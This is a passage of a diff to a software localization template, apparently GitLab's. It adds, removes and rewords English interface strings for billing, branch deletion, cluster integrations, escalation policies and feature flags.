-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3277,6 +3330,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3490,6 +3546,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3583,9 +3642,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3655,7 +3711,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4128,6 +4184,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4158,16 +4217,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4746,7 +4802,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -4815,6 +4871,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -4971,6 +5030,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -4989,6 +5051,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5004,6 +5069,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5022,6 +5090,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5037,6 +5108,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5049,6 +5141,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5058,6 +5153,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5286,6 +5387,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5298,6 +5402,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5307,6 +5414,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5328,12 +5441,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5367,6 +5486,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5379,6 +5501,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5448,6 +5582,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5460,9 +5597,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5529,9 +5672,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5580,15 +5720,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5597,6 +5737,9 @@ msgid_plural "CICDAnalytics|Releases"
msgstr[0] ""
msgstr[1] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6290,7 +6433,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6674,72 +6817,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -6902,6 +6979,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -6944,12 +7027,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7112,6 +7189,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7196,9 +7276,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7259,7 +7336,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7355,9 +7432,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7370,9 +7444,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7469,9 +7540,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7610,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7625,9 +7690,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -7901,6 +7963,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8044,6 +8115,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8182,9 +8256,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8305,6 +8376,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8368,6 +8442,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8525,6 +8602,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9205,9 +9285,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9238,9 +9315,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9292,6 +9366,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9343,6 +9420,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9376,6 +9456,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9703,27 +9786,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -9944,9 +10006,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10166,9 +10234,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10534,6 +10599,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11250,22 +11318,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11274,6 +11348,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11301,6 +11378,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11322,6 +11402,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11334,21 +11417,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
msgstr ""
-msgid "DevopsReport|DevOps"
+msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
msgstr ""
-msgid "DevopsReport|DevOps Score"
+msgid "DevopsReport|High"
msgstr ""
-msgid "DevopsReport|DevOps score metrics are based on usage over the last 30 days. Last updated: %{timestamp}."
+msgid "DevopsReport|Leader usage"
+msgstr ""
+
+msgid "DevopsReport|Low"
+msgstr ""
+
+msgid "DevopsReport|Moderate"
msgstr ""
msgid "DevopsReport|Score"
msgstr ""
+msgid "DevopsReport|Your score"
+msgstr ""
+
+msgid "DevopsReport|Your usage"
+msgstr ""
+
msgid "Didn't receive a confirmation email?"
msgstr ""
@@ -11415,15 +11510,15 @@ msgstr ""
msgid "Disable public access to Pages sites"
msgstr ""
-msgid "Disable shared runners"
-msgstr ""
-
msgid "Disable two-factor authentication"
msgstr ""
msgid "Disabled"
msgstr ""
+msgid "Disabled by %{parent} owner"
+msgstr ""
+
msgid "Disabled mirrors can only be enabled by instance owners. It is recommended that you delete them."
msgstr ""
@@ -11451,6 +11546,9 @@ msgstr ""
msgid "DiscordService|Send notifications about project events to a Discord channel."
msgstr ""
+msgid "Discover"
+msgstr ""
+
msgid "Discover GitLab Geo"
msgstr ""
@@ -11678,7 +11776,7 @@ msgstr ""
msgid "Draft merge requests can't be merged."
msgstr ""
-msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
+msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} file to attach"
@@ -11693,6 +11791,24 @@ msgstr ""
msgid "Drop your files to start your upload."
msgstr ""
+msgid "DropdownWidget|An error occurred while fetching the assigned %{issuableAttribute} of the selected %{issuableType}."
+msgstr ""
+
+msgid "DropdownWidget|Assign %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|Failed to fetch the %{issuableAttribute} for this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|Failed to set %{issuableAttribute} on this %{issuableType}. Please try again."
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute}"
+msgstr ""
+
+msgid "DropdownWidget|No %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -11702,9 +11818,6 @@ msgstr ""
msgid "Duration"
msgstr ""
-msgid "Duration for the last 30 commits"
-msgstr ""
-
msgid "During this process, you’ll be asked for URLs from GitLab’s side. Use the URLs shown below."
msgstr ""
@@ -11819,9 +11932,6 @@ msgstr ""
msgid "Edit sidebar"
msgstr ""
-msgid "Edit stage"
-msgstr ""
-
msgid "Edit this file only."
msgstr ""
@@ -11876,6 +11986,9 @@ msgstr ""
msgid "Elasticsearch reindexing triggered"
msgstr ""
+msgid "Elasticsearch reindexing was not started: %{errors}"
+msgstr ""
+
msgid "Elasticsearch returned status code: %{status_code}"
msgstr ""
@@ -12005,13 +12118,13 @@ msgstr ""
msgid "Embed"
msgstr ""
-msgid "Empty file"
+msgid "Embed an image of your existing Jaeger server in GitLab."
msgstr ""
-msgid "Enable"
+msgid "Empty file"
msgstr ""
-msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable"
msgstr ""
msgid "Enable Auto DevOps"
@@ -12089,6 +12202,9 @@ msgstr ""
msgid "Enable authenticated API request rate limit"
msgstr ""
+msgid "Enable authentication"
+msgstr ""
+
msgid "Enable automatic repository housekeeping (git repack, git gc)"
msgstr ""
@@ -12134,9 +12250,6 @@ msgstr ""
msgid "Enable or disable Seat Link."
msgstr ""
-msgid "Enable or disable keyboard shortcuts"
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12158,9 +12271,6 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
-msgid "Enable shared runners"
-msgstr ""
-
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12830,9 +12940,6 @@ msgstr ""
msgid "Error occurred when saving reviewers"
msgstr ""
-msgid "Error occurred when toggling the notification subscription"
-msgstr ""
-
msgid "Error occurred while updating the issue status"
msgstr ""
@@ -12845,12 +12952,18 @@ msgstr ""
msgid "Error occurred. A blocked user must be unblocked to be activated"
msgstr ""
+msgid "Error occurred. User was not banned"
+msgstr ""
+
msgid "Error occurred. User was not blocked"
msgstr ""
msgid "Error occurred. User was not confirmed"
msgstr ""
+msgid "Error occurred. User was not unbanned"
+msgstr ""
+
msgid "Error occurred. User was not unblocked"
msgstr ""
@@ -12959,6 +13072,54 @@ msgstr ""
msgid "Errors:"
msgstr ""
+msgid "Escalation Policies"
+msgstr ""
+
+msgid "Escalation policies"
+msgstr ""
+
+msgid "Escalation policies are not supported for this project"
+msgstr ""
+
+msgid "EscalationPolicies|+ Add an additional rule"
+msgstr ""
+
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
+msgstr ""
+
+msgid "EscalationPolicies|Add an escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Add escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Create an escalation policy in GitLab"
+msgstr ""
+
+msgid "EscalationPolicies|Edit escalation policy"
+msgstr ""
+
+msgid "EscalationPolicies|Email on-call user in schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Escalation rules"
+msgstr ""
+
+msgid "EscalationPolicies|Failed to load oncall-schedules"
+msgstr ""
+
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
+msgstr ""
+
+msgid "EscalationPolicies|Select schedule"
+msgstr ""
+
+msgid "EscalationPolicies|Set up escalation policies to define who is paged, and when, in the event the first users paged don't respond."
+msgstr ""
+
+msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13020,7 +13181,9 @@ msgid "Every two weeks"
msgstr ""
msgid "Every week"
-msgstr ""
+msgid_plural "Every %d weeks"
+msgstr[0] ""
+msgstr[1] ""
msgid "Every week (%{weekday} at %{time})"
msgstr ""
@@ -13663,6 +13826,9 @@ msgstr ""
msgid "FeatureFlags|Feature Flag User List Details"
msgstr ""
+msgid "FeatureFlags|Feature Flag User Lists"
+msgstr ""
+
msgid "FeatureFlags|Feature Flag behavior is built up by creating a set of rules to define the status of target environments. A default wildcard rule %{codeStart}*%{codeEnd} for %{boldStart}All Environments%{boldEnd} is set, and you are able to add as many rules as you need by choosing environment specs below. You can toggle the behavior for each of your rules to set them %{boldStart}Active%{boldEnd} or %{boldStart}Inactive%{boldEnd}."
msgstr ""
@@ -13687,9 +13853,6 @@ msgstr ""
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
-msgid "FeatureFlags|Get started with user lists"
-msgstr ""
-
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
msgstr ""
@@ -13717,9 +13880,6 @@ msgstr ""
msgid "FeatureFlags|Loading feature flags"
msgstr ""
-msgid "FeatureFlags|Loading user lists"
-msgstr ""
-
msgid "FeatureFlags|More information"
msgstr ""
@@ -13738,9 +13898,6 @@ msgstr ""
msgid "FeatureFlags|New feature flag"
msgstr ""
-msgid "FeatureFlags|New user list"
-msgstr ""
-
msgid "FeatureFlags|No user list selected"
msgstr ""
@@ -13783,9 +13940,6 @@ msgstr ""
msgid "FeatureFlags|There was an error fetching the feature flags."
msgstr ""
-msgid "FeatureFlags|There was an error fetching the user lists."
-msgstr ""
-
msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
msgstr ""
@@ -13801,7 +13955,7 @@ msgstr ""
msgid "FeatureFlags|User Lists"
msgstr ""
-msgid "FeatureFlags|User lists allow you to define a set of users to use with Feature Flags."
+msgid "FeatureFlags|View user lists"
msgstr ""
msgid "FeatureFlag|Percentage"
@@ -14052,6 +14206,15 @@ msgstr ""
msgid "Flags"
msgstr ""
+msgid "FloC|Configure whether you want to participate in FloC."
+msgstr ""
+
+msgid "FloC|Enable FloC (Federated Learning of Cohorts)"
+msgstr ""
+
+msgid "FloC|Federated Learning of Cohorts"
+msgstr ""
+
msgid "FlowdockService|1b609b52537..."
msgstr ""
@@ -14157,6 +14320,9 @@ msgstr ""
msgid "ForkProject|A fork is a copy of a project."
msgstr ""
+msgid "ForkProject|An error occurred while forking the project. Please try again."
+msgstr ""
+
msgid "ForkProject|Cancel"
msgstr ""
@@ -14175,6 +14341,9 @@ msgstr ""
msgid "ForkProject|Please select a namespace"
msgstr ""
+msgid "ForkProject|Please select a visibility level"
+msgstr ""
+
msgid "ForkProject|Private"
msgstr ""
@@ -14202,6 +14371,15 @@ msgstr ""
msgid "ForkProject|Want to house several dependent projects under the same namespace?"
msgstr ""
+msgid "ForkSuggestion|Cancel"
+msgstr ""
+
+msgid "ForkSuggestion|Fork"
+msgstr ""
+
+msgid "ForkSuggestion|You can’t %{edit_start}edit%{edit_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "ForkedFromProjectPath|Forked from"
msgstr ""
@@ -14469,6 +14647,9 @@ msgstr ""
msgid "Geo|%{component} synced"
msgstr ""
+msgid "Geo|%{component} verified"
+msgstr ""
+
msgid "Geo|%{itemTitle} checksum progress"
msgstr ""
@@ -14496,6 +14677,9 @@ msgstr ""
msgid "Geo|%{title} checksum progress"
msgstr ""
